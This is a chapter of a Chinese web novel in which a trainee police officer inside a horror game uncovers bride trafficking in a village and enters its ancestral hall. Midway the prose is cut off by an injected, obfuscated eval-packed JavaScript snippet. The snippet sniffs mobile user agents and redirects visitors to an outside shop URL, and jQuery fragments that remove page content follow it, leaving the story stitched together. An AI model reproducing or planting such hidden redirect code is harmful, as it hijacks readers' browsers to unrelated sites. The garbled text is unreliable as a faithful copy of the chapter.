23. 023
作品:《星际策划,日常吓哭玩家!》 李恩看着眼前极其荒诞又令人心悸的一幕,身体下意识前倾,几乎就要冲出去。
然而,却被一只枯瘦如柴的手死死拽住。
“别去。”老妇人的声音压得极低,带着无法掩饰的颤抖。
她的手指冰凉,力道却大得惊人。
李恩眉头紧锁,心底翻涌的不适感几乎让她作呕。
那女孩绝望的眼神像一根针,狠狠扎进她的神经。
但这只是个游戏,她反复提醒自己。
这只是一串数据构成的虚拟世界。
她在现实中的身份是实习警员,但在这里,她是“阿丽家的女娃”。
不能暴露,不能打草惊蛇。
李恩强迫自己深吸一口气,冰凉的空气灌入肺腑,稍微压下了那股冲动。
她转向老妇人,声音放得轻缓:“婆婆,他们这是……?”
老妇人浑浊的眼珠躲闪着,低下头,用几乎听不清的声音搪塞:“村里……村里娶亲呢,咱们欢喜村的……老习俗了。”
这蹩脚的理由让李恩心头冷笑,但她面上不显,只是沉默地点点头,乖顺地跟在老妇人佝偻的身后。
两人刻意绕开人群,脚步放得又轻又快。
然而,那些如同跗骨之蛆的视线还是敏锐地捕捉到了她们。
几个男人的目光黏腻地爬上了李恩的背脊,带着令人极度不适的审视。
“李婆,这女娃是谁?眼生得很。”一个咧着嘴露出满口黄牙的男人堵在了前面。
男人眼神像钩子一样在李恩身上刮擦。
老妇人身体一僵,几乎是本能地将李恩往自己身后藏了藏,干瘦的脊背挺直了些:“家里亲戚。”
“亲戚?”黄牙男人嗤笑一声,唾沫星子几乎喷出来,“你家大牛前些年不是去城里打工了吗?家里哪还有什么像样的亲戚?”
“大牛在城里讨媳妇了!”老妇人声音陡然拔高,“这是我儿媳妇那边的侄女!特意从城里来看我的!”
男人将信将疑地眯起眼,上下打量着李恩,那目光仿佛在掂量货物的价值。
半晌,他才啐了一口,大概是觉得今天已经抓到了一个,暂时够了,这才不情不愿地让开了路。
直到彻底走出那片令人窒息的范围,李恩才感觉那些如影随形的视线消失了。
她后背沁出一层冷汗,风一吹,凉飕飕的。
老妇人领着李恩来到村庄边缘一间极其破败的茅草屋前。
墙体歪斜,茅草稀疏,仿佛一阵大风就能吹垮。
推开门,一股混合着霉味和尘土的浑浊气息扑面而来。
屋内光线昏暗,地面坑洼不平,除了一个歪斜的土炕和一个几乎要散架的木柜,再无像样的家具。
就连墙壁和屋顶都布满了一块块深色的霉斑,如同垂死老人脸上的老年斑。
这绝不是一个能正常居住的地方。
老妇人却对这一切习以为常。
她颤巍巍地走到那个腐朽的木柜前,小心翼翼地取出一个用脏污塑料袋包裹着的东西,枯瘦的手指一层层剥开塑料袋,里面是皱巴巴的旧报纸,再揭开报纸,才露出底下小半袋雪白的大米。
“还没吃饭吧?”老妇人抬起头,浑浊的眼睛里竟带着一丝难得的雀跃,“婆婆给你煮点大米粥喝。”
看着那被她视若珍宝,不知攒了多久的米,哪怕明知只是个游戏npc,李恩的鼻尖却不受控地发酸。
“不用了,婆婆,”她连忙阻止,“我来之前吃过了,吃得很饱。”
老妇人动作顿住,有些无措地将手上的灰尘往看不出颜色的衣襟上擦了擦,脸上挤出一個干瘪而心酸的笑容:“吃过了啊……吃过了好,吃过了好……”
她小心翼翼地将米重新包好,放回原处,仿佛完成一件极其郑重的仪式。
然后才像是想起什么,急切地抓住李恩的手:“哎呀,光顾着说话,都忘了问你,阿丽、阿丽她这些年,过得好吗?”
李恩估算着老妇人和她口中“阿丽”的年纪,顺着她的话编下去:“‘阿丽’是我的祖母,她在城里过得很好。就是人老了,总念着以前的事,尤其放心不下您,这才特意托我回来看看您。”
“好啊!好啊!”老妇人先是欣喜若狂,随即又忍不住用袖子抹起眼泪,“阿丽还活着……她没忘了我,太好了,太好了……”
看着老人真情实感的泪水,李恩眼眶也不禁发热。
如果婆婆知道她日夜思念的挚友可能早已不在人世……
一股强烈的愧疚感爬上心尖。
但她立刻甩开这丝动摇——她是来执行任务的,目标是获取更深层的恐惧数据,查明真相。
她定了定神,试探着再次开口:“婆婆,刚才外面那些人……真的是在‘娶亲’吗?”
一提到这个,老妇人脸上的血色瞬间褪去,眼神变得惊恐而闪躲。
“娃娃,听婆婆的话。”她冰凉的手用力握住李恩的肩膀,指甲几乎掐进肉里,“这些事,你别听,别看,别问!你是阿丽的娃,跟阿丽一样,是要出去的,不能沾上这些!”
老妇人越是讳莫如深,李恩越是肯定,那场所谓的“娶亲”绝对隐藏着巨大的阴谋,很可能就是本章任务“红嫁衣”的关键。
她立刻换上乖巧的笑容,亲昵地挽住老妇人的胳膊:“好,婆婆,我听您的。那您歇着,我在这儿陪陪您,您给我多讲讲您和我祖母小时候的趣事,好不好?”
一老一少并肩坐在脏乱昏暗的茅屋里,气氛竟难得地泛起一丝温馨。
老妇人打开了话匣子,絮絮叨叨地说了许多童年琐事。
然而,每当话题触及村庄的核心秘密,她就会像受惊的兔子一样,生硬地岔开话题。
时间在老人的叙述中悄然流逝。
李恩默默在脑海中记下收集到的关键词:祠堂、娶亲、嫁衣、欢喜神……
这些充满古老晦涩意味的词语,逐渐在她脑中拼凑出一个模糊而诡异的故事轮廓。
过了许久,老妇人终于支撑不住,沉沉在土炕上睡去,李恩深吸一口气,决定立刻去老妇人口中的“祠堂”一探究竟。
她轻手轻脚地拉开那扇吱呀作响的木门,刚迈出一只脚,身后就传来了沙哑而疲惫的声音。
“你……还是要出去吗?”
李恩心脏猛地一跳,脚步僵在原地。
她缓缓转过身,对上老妇人那双在黑暗中显得格外明亮的眼睛。
沉默在两人之间蔓延。
李恩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857311|190958||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看到老人眼中的担忧,恐惧,还有一丝了然的绝望。
她深吸一口气,不再掩饰:“婆婆,那不是娶亲,是拐卖,是犯罪。”
老妇人身体剧烈地颤抖了一下,与李恩对视良久,最终,她像是被抽干了所有力气,颓然垂下肩膀。
“罢了,罢了……你跟阿丽,真是一模一样,越是拦着你们,你们越是要往那火坑里跳……”
她喃喃着,颤巍巍地返回屋内,在那个破木柜里翻找了许久,最终摸出一把用旧布层层包裹的东西。
她将东西塞进李恩手里,触手冰凉坚硬。
打开旧布,里面是一把锈迹斑斑却磨出了锋利刃口的小刀。
“万一、万一那群男人要害你,你就说是我李婆家的人,这把刀,拿好,防身……”老妇人的声音带着哭腔,“一定要……小心。”
锈刀很轻,此刻却显得尤为沉重。
带着老妇人的叮嘱,李恩离开了茅草屋。
她按照之前暗暗记下的路线,悄无声息地摸到了村子中心的祠堂附近。
祠堂比村里其他建筑要高大些,却同样透着一股破败阴森的气息。
此刻,只有一个身材干瘦的男人揣着手,靠在祠堂那扇紧闭的木门上,一把老旧的铜锁粗糙地挂在门环上。
这种早已被星际时代淘汰的旧式锁具,对受过专业训练的李恩来说,形同虚设。
她屏住呼吸,耐心等待时机。
当那男人打着哈欠,转身面向另一边时,李恩如同猎豹般敏捷地窜出,一记精准的手刀劈在他的颈侧。
男人闷哼一声,软软倒地。
李恩迅速从发间取下一根细小的金属发卡,掰直,插入锁孔。
几声细微的“咔哒”声后,旧锁应声弹开。
她轻轻推开祠堂沉重的木门,一股浓重得令人作呕的香火味混合着某种难以言喻的陈旧血腥气扑面而来。
祠堂内光线极其昏暗,只有几盏摇曳的油灯发出惨淡的光晕。
正对着大门的,是一尊色彩斑驳,面容模糊扭曲的神像,神像前的供桌上却空空如也。
而就在那尊诡异的神像下方,一个穿着繁复艳丽红嫁衣的身影,正以一种极其标准的姿势,缓缓对着神像叩拜。
听到开门声,那身影顿住了。
然后,在李恩警惕的注视下,穿着红嫁衣的女人极其缓慢地一点一点转过了身。
她抬起那只苍白得毫无血色的手,轻轻撩开了遮住容颜的红盖头。
盖头之下,是一张妆容精致,艳丽得近乎妖异的脸庞。
没有预料中的惊恐绝望或求救,甚至还幽幽地笑了起来。
这绝不是一个被强行禁锢于此的人该有的反应。
李恩沉下了双眸,眉头紧锁。
眼前这诡异的一幕,令她不受控地后背发凉。
那个女人却始终直勾勾地盯着她,仿佛早已在此等候多时。
“你来了。”
空灵而缥缈的声音,在空旷阴森的祠堂里赫然响起。
李恩心脏狂跳,下意识扭头想逃,可没等她开始动作,身后那腐朽的木门陡然闭合。
没有任何外力,也没有起风,就那样诡异地关得严严实实,比上了锁还要坚固。

